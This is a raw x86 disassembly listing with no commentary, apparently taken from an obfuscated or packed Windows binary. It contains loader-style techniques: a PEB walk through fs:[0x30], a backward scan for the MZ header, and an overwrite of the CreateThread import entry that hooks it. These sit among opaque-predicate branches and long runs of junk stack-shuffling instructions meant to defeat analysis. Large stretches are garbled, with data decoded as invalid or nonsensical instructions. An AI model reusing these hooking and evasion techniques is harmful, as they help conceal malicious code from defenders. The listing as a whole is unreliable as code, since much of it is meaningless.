xchg esi, eax
adc dword gs:[edx + 0x1ee38416], 0xfffffff0
or al, 0x8f
pop ds
jp 0x7bc91c
jle 0x7bc965
pop edx
enter 0x5aaf, 0xffffffffffffffb8
push cs
mov ebx, dword [ebx]
jle 0x7bc92c
sub al, 0x21
call 0x7bc9a6
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
je 0x7bc963
sub eax, 0x10000
jp 0x7bc9aa
jnp 0x7bc9aa
lcall 0xf4c6, 0x12e78012
adc dword [ebx], 0x76
test dword [esp + 0x2a], ebp
mov eax, 0x30c42adf
mov ebp, 0x27c7342d
jb 0x7bc9d3
insb byte es:[edi], dx
or eax, dword [esi]
in eax, dx
mov ecx, 0x3ccdaa34
fild word [edi - 0x25]
dec ebx
fnstsw word cs:[ecx]
jmp 0x7bca5f
sub cl, byte [ebp - 0x44]
pop esi
pop esi
fisttp dword [ebx + 0x2e]
fnstsw word [esp + ebx*2 - 0x2c]
dec edx
sub eax, 0xe46d08dc
jp 0x7bca90
in al, dx
add esi, dword [esi - 8]
outsb dx, byte [esi]
or eax, edi
push ss
sub eax, 0xa25730a2
inc eax
jb 0x7bca81
insb byte es:[edi], dx
or eax, dword [esi]
in eax, dx
mov esp, 0x31c2a737
fmul qword [esi + ebx - 0x3bd91474]
cmc
hlt
jmp 0x7bcab8
xchg esi, eax
xchg ebx, eax
push es
xchg esp, eax
push cs
cmpsd dword [esi], dword es:[edi]
cli
pushal
not byte [ecx - 0x1a832ea0]
jne 0x7bcae3
out dx, eax
inc esp
in al, dx
je 0x7bcab6
lea edi, [ebx + ecx*8 + 0x37]
scasb al, byte es:[edi]
cmp al, 0x5b
mov dh, 0x31
and dword [ebp + 0x42c7342d], edi
popfd
sbb eax, 0xf127d48d
mov al, 0x31
mov eax, dword [0x9d733c0]
invalid
mov dword [esp + 0x8c], ebp
pushal
mov dword [esp + 0x13], esp
lea esp, [esp + 0x14]
mov dword [esp + 4], edx
lea esp, [esp + 0xa]
mov word [esp], si
lea esp, [esp + 1]
mov byte [esp], dl
push esi
lea esp, [esp + 1]
mov dword [esp + 0x8c], esi
pushal
push word [esp + 0x11]
mov word [esp + 0x1f], ax
pushal
mov word [esp + 0x3a], bx
push dword [esp + 0xb]
mov word [esp + 0x1a], sp
lea esp, [esp + 0xf]
mov byte [esp + 0x1d], dl
sbb cl, byte [ebp - 0x77f0db9c]
push esp
and al, 0x1d
sbb eax, 0x24448f66
sbb cl, byte [ebp - 0x76fedb9c]
mov esp, 0xbc24
add byte [ebp + 0xbc24a4], cl
add byte [eax], al
pop word [esp + 0x1a]
lea esp, [esp + 1]
mov dword [esp + 0xbc], edi
lea esp, [esp + 0xbc]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
je 0x7bc9a1
jne 0x7bc9a1
pop eax
enter 0x395e, 0xffffffffffffffc8
outsd dx, dword [esi]
mov byte [0x33c0a131], al
rcr byte [esi], 0x88
push ds
jns 0x7bcf7d
cmp eax, 0xf1960097
add byte [ecx + 0x70118117], ch
xor dword [esi], 0x69
cld
xchg edx, eax
cmc
add al, 0xad
adc ecx, dword [edi + 0x26897a1f]
xchg ebx, eax
or byte [esi + 0x1ca108f9], bl
test byte [edx], bl
jge 0x7bcfa5
cmp ecx, dword [ebp - 0x2c]
dec edx
sub eax, 0x88165bdc
push ds
jns 0x7bcfad
getsec
mov ebx, 0x6fbd4e2b
inc esi
retf
call 0x7be099
push ebx
popal
outsb dx, byte gs:[esi]
imul ebp, dword [bp + 0x65], 0x69685320
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
and byte [esi + 0x32], dh
xor byte cs:[esi], ch
xor byte cs:[eax], al
lea esp, [esp + 4]
pushal
pop word [esp + 0x1a]
mov byte [esp + 0x1b], dl
pushfd
mov word [esp + 5], bx
mov word [esp + 0x12], dx
mov byte [esp + 0x19], cl
lea esp, [esp + 2]
mov dword [esp + 0x1c], eax
pushal
mov word [esp + 0x12], bx
pop word [esp + 0x16]
pushal
mov byte [esp + 0x2d], bh
push dx
mov byte [esp + 0x23], cl
mov dword [esp + 0x58], ecx
push cx
push ax
push word [esp]
push word [esp + 2]
mov dword [esp + 1], ecx
pop dword [esp]
lea esp, [esp]
pop word [esp]
mov byte [esp], bl
lea esp, [esp + 1]
mov byte [esp], ch
push eax
push dword [esp + 4]
lea esp, [esp + 1]
mov dword [esp + 0x5c], edx
push esp
pushfd
push word [esp]
push ebp
pop dword [esp + 2]
push dword [esp + 4]
mov word [esp + 5], bx
push word [esp + 4]
mov byte [esp + 0xa], cl
pop word [esp + 2]
lea esp, [esp + 2]
mov dword [esp + 0x64], ebx
push esi
pushfd
pop dword [esp]
push word [esp + 2]
pushal
lea esp, [esp + 2]
mov dword [esp + 0x84], esp
pushal
lea esp, [esp + 0x1e]
mov word [esp], sp
mov byte [esp], bh
push cx
pushfd
mov word [esp + 1], bp
lea esp, [esp]
push edx
jo 0x7bcf5d
jno 0x7bcf5d
mov al, 0x9e
add eax, ebp
add byte [eax], al
add byte [eax], al
call 0x7be176
pop eax
sub eax, 0x7be176
mov ebx, eax
add eax, 0x4ebb73
add ebx, sym.imp.KERNEL32.dll_CreateThread
mov dword [ebx], eax
popal
jo 0x64001c
jno 0x64001c
pop es
mov ebx, dword [ebx]
jle 0x7be12c
lea ebx, [edi + 0x57]
pop edi
push edi
aam 0x4a
sub eax, 0xf7713adc
add dh, cl
push ds
jno 0x7be19e
add ax, si
adc ah, byte [ebx]
stosd dword es:[edi], eax
cmp ebx, dword [esi - 0x53]
inc edx
in al, 0x61
int1
nop
arpl word [ecx + 0x2344d652], ax
fidiv word [eax]
add dword [edx + ebx*4], 0x59e50cfd
rol dword [ecx + 0x20], 1
sal dword [ebx], cl
pop edx
xlatb
inc edi
and dl, cl
js 0x7be1a8
pop edi
iretd
push dword [esp + 0x11]
mov byte [esp + 0x12], dh
pop dword [esp + 7]
pop dword [esp + 9]
pushfd
mov word [esp + 9], si
mov byte [esp + 0xa], ah
push word [esp + 0x11]
lea esp, [esp + 0xe]
pop word [esp]
push edx
mov dword [esp + 1], edi
push dword [esp + 5]
pop dword [esp + 2]
mov byte [esp + 1], dh
push word [esp + 5]
mov byte [esp + 1], bl
push dword [esp]
lea esp, [esp + 9]
lea esp, [esp]
pop word [esp]
mov byte [esp + 1], al
lea esp, [esp + 2]
lea esp, [esp]
lea esp, [esp]
mov byte [esp], bh
lea esp, [esp]
lea esp, [esp]
lea esp, [esp]
lea esp, [esp]
lea esp, [esp]
lea esp, [esp]
pushfd
lea esp, [esp + 2]
push word [esp + 2]
mov word [esp], bx
push word [esp]
mov word [esp + 1], sp
push word [esp]
lea esp, [esp + 1]
lea esp, [esp + 8]
push 0
push ebx
push word [esp + 1]
mov word [esp + 3], cx
push dword [esp + 3]
mov dword [esp + 3], esp
push word [esp + 8]
push word [esp + 5]
lea esp, [esp]
mov dword [esp + 7], edx
lea esp, [esp + 5]
mov byte [esp + 3], cl
mov word [esp + 6], sp
push word [esp + 7]
mov word [esp], bx
pop word [esp + 3]
mov dword [esp + 2], edx
push esi
pop word [esp + 2]
push bp
mov word [esp + 9], bp
pop word [esp + 4]
mov dword [esp + 1], ecx
pop dword [esp]
mov dword [esp], edi
pop word [esp + 1]
pop word [esp]
mov word [esp], bx
mov byte [esp + 1], al
mov word [esp], dx
mov byte [esp + 1], ah
push word [esp + 1]
push dword [esp + 1]
push dword [esp + 8]
push ecx
lea esp, [esp + 3]
lea esp, [esp + 0xa]
mov word [esp + 1], dx
push dword [esp + 3]
push word [esp]
mov word [esp + 5], ax
push bx
pop dword [esp + 3]
pop dword [esp]
mov dword [esp], edx
lea esp, [esp + 2]
pushal
push bx
push dword [esp + 0x1a]
pop word [esp + 3]
push word [esp + 0x11]
pushfd
pushal
pop dword [esp + 0x23]
pop word [esp + 0x29]
pop word [esp + 5]
mov byte [esp + 0x17], ah
push dword [esp + 0x17]
mov dword [esp + 0xf], ebp
mov dword [esp + 0x10], ebp
pushal
lea esp, [esp + 0x68]
push edi
push word [esp + 3]
lea esp, [esp + 2]
push dword [esp + 3]
pop word [esp + 1]
mov word [esp], cx
mov word [esp + 3], sp
push word [esp + 2]
lea esp, [esp + 3]
mov word [esp + 2], si
mov dword [esp], edi
lea esp, [esp + 3]
push word [esp + 1]
lea esp, [esp + 3]
lea esp, [esp]
lea esp, [esp]
push bx
lea esp, [esp + 2]
mov byte [esp], bl
pushfd
lea esp, [esp + 3]
mov byte [esp], ah
push edx
push dword [esp + 1]
mov dword [esp], ebx
push dword [esp]
push dword [esp]
mov byte [esp + 7], dl
push ebp
mov word [esp + 5], bx
push edi
pushal
pop dword [esp + 4]
mov word [esp + 0x10], si
push edi
push word [esp + 0x16]
mov byte [esp + 0x19], bl
mov dword [esp + 0x16], eax
pushfd
pop word [esp + 0xa]
lea esp, [esp + 2]
lea esp, [esp + 0x3c]
push 0
pushfd
pushal
pushfd
push ebx
lea esp, [esp + 0x21]
mov word [esp + 6], di
pop dword [esp]
push dword [esp + 1]
mov dword [esp + 5], ecx
pop word [esp]
lea esp, [esp]
pop dword [esp]
mov dword [esp], esi
pushfd
mov byte [esp + 2], bl
push word [esp + 2]
mov word [esp], bp
pop dword [esp]
push word [esp + 1]
lea esp, [esp + 3]
push dword [esp + 5]
pop dword [esp]
mov byte [esp + 3], ch
pop word [esp]
lea esp, [esp + 1]
mov byte [esp], ah
push ebx
push si
mov word [esp + 2], dx
push word [esp + 5]
push dword [esp + 9]
mov byte [esp], ch
lea esp, [esp + 0xb]
push dword [esp]
pushal
pop dword [esp + 0x15]
push sp
push ebp
pop word [esp + 0x1b]
lea esp, [esp + 0x12]
push word [esp + 3]
push eax
lea esp, [esp + 0xb]
push dword [esp + 1]
pushfd
pop dword [esp + 0xc]
lea esp, [esp + 7]
push eax
push word [esp + 5]
push word [esp + 0x11]
mov byte [esp + 7], dl
mov word [esp + 6], si
push word [esp + 0xb]
push dword [esp + 7]
lea esp, [esp + 0x12]
pop dword [esp]
push dword [esp + 3]
mov byte [esp + 8], ch
pop dword [esp]
push cx
pop dword [esp]
lea esp, [esp + 3]
mov byte [esp], dh
pushal
push ax
pop word [esp + 0xf]
mov byte [esp + 9], cl
lea esp, [esp + 0x16]
pop dword [esp]
mov byte [esp + 5], dl
mov word [esp + 4], dx
push edi
push word [esp + 5]
push word [esp]
mov word [esp + 0xc], dx
push dword [esp + 1]
mov byte [esp + 0xf], ah
mov byte [esp + 9], al
push word [esp + 2]
push dword [esp + 0x12]
mov word [esp + 0x14], di
push word [esp + 5]
mov word [esp + 0x15], bp
mov dword [esp + 0x14], ebx
lea esp, [esp + 0x15]
push dword [esp + 1]
pop word [esp + 2]
push dword [esp + 7]
lea esp, [esp + 0xa]
mov word [esp], cx
pushal
lea esp, [esp + 0xe]
push word [esp + 6]
lea esp, [esp + 0xf]
pop word [esp + 1]
mov dword [esp], edx
pop word [esp]
lea esp, [esp]
pushal
pop dword [esp + 0x11]
lea esp, [esp + 3]
lea esp, [esp + 0x1c]
push 0x3bc475
push esi
push dword [esp + 2]
mov byte [esp + 3], bh
push word [esp + 3]
pop dword [esp]
mov dword [esp], edi
mov dword [esp], ebp
pushfd
pushfd
pop dword [esp + 3]
pop word [esp + 3]
mov word [esp + 3], bp
push word [esp + 4]
pushal
push dword [esp + 0x23]
mov dword [esp + 0x1f], esp
pop dword [esp + 0x11]
lea esp, [esp + 0x1e]
pop dword [esp + 1]
mov word [esp + 3], dx
lea esp, [esp + 5]
lea esp, [esp]
push edx
pop word [esp]
push dword [esp + 3]
pop dword [esp]
pop word [esp]
mov byte [esp + 1], bl
mov byte [esp], ah
lea esp, [esp]
mov word [esp], sp
mov word [esp], bp
lea esp, [esp]
mov byte [esp + 1], dh
mov word [esp], dx
mov byte [esp], bh
push esi
mov byte [esp + 2], dl
mov byte [esp + 3], al
mov word [esp + 1], dx
mov byte [esp], dl
mov dword [esp], esp
lea esp, [esp + 2]
mov dword [esp], esp
push dword [esp + 4]
push bp
push cx
mov byte [esp + 0xa], ah
pop dword [esp + 4]
push dword [esp + 6]
mov dword [esp + 1], ebp
mov word [esp + 6], bp
mov dword [esp + 8], ecx
push edx
mov dword [esp + 9], esi
push word [esp]
pop word [esp + 9]
push word [esp + 5]
pop dword [esp + 9]
mov dword [esp + 0xa], edi
pop dword [esp + 1]
mov dword [esp + 5], ebx
mov word [esp + 2], si
pop word [esp + 5]
push ebp
push dword [esp + 9]
push word [esp + 0xa]
mov byte [esp + 0x11], dh
lea esp, [esp + 2]
pop word [esp + 3]
pop word [esp + 4]
push word [esp + 6]
mov byte [esp + 1], dh
push ebx
pop word [esp + 4]
lea esp, [esp + 0xf]
push sp
lea esp, [esp]
mov dword [esp], eax
pop word [esp]
pushfd
mov byte [esp + 2], bh
pushfd
pop word [esp + 1]
pop word [esp + 3]
pop word [esp + 1]
mov byte [esp + 1], cl
pop word [esp]
lea esp, [esp]
pushal
push word [esp + 0x11]
mov word [esp + 0x21], sp
lea esp, [esp + 0x21]
mov byte [esp], ch
mov byte [esp], bl
mov byte [esp], bh
lea esp, [esp + 2]
mov byte [esp], ah
lea esp, [esp]
mov byte [esp], bl
lea esp, [esp + 1]
call fcn.004f1c0a
je 0x7be171
jne 0x7be171
jmp 0x7be938
das
test ah, dl
dec esp
ret 0x54a5